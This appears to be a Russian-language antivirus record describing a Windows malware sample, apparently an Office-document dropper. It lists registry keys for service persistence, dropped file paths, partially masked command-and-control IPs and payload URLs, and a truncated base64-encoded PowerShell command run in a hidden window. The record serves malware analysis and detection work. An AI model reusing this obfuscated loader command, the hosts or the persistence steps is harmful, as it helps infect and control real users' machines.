Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'ImagePath' = '"%WINDIR%\SysWOW64\WPDShServiceObj\ftp.exe"'
- 'ftp' "%WINDIR%\SysWOW64\WPDShServiceObj\ftp.exe"
- 'ftp' %WINDIR%\SysWOW64\WPDShServiceObj\ftp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AbwBfAG0ANQBrAD0AKAAoACcAQwB2AGIAJwArACcAZQAnACkAKwAoACcAeQAnACsAJwBiAGwAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AFQARQBtAHAAXABXAE8AUgBEAFwAMgAwAD...
- %TEMP%\word\2019\lki6mun.exe
- %WINDIR%\syswow64\wpdshserviceobj\ftp.exe
- %TEMP%\word\2019\lki6mun.exe в %WINDIR%\syswow64\wpdshserviceobj\ftp.exe
- '98.##.75.196':80
- '91.##1.54.71':8080
- http://dr######emyrtlebeach.com/wp-content/cache/2Rw/
- http://ne#.#ittyg.com/cgi-bin/L7v/
- http://91.###.54.71:8080/MnbqafpXSBvxG3diF/rnwsRc7HPcu/ via 91.##1.54.71
- DNS ASK dr######emyrtlebeach.com
- DNS ASK ne#.#ittyg.com
- '%TEMP%\word\2019\lki6mun.exe'
- '%WINDIR%\syswow64\wpdshserviceobj\ftp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AbwBfAG0ANQBrAD0AKAAoACcAQwB2AGIAJwArACcAZQAnACkAKwAoACcAeQAnACsAJwBiAGwAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AFQARQBtAHAAXABXAE8AUgBEAFwAMgAwAD...' (со скрытым окном)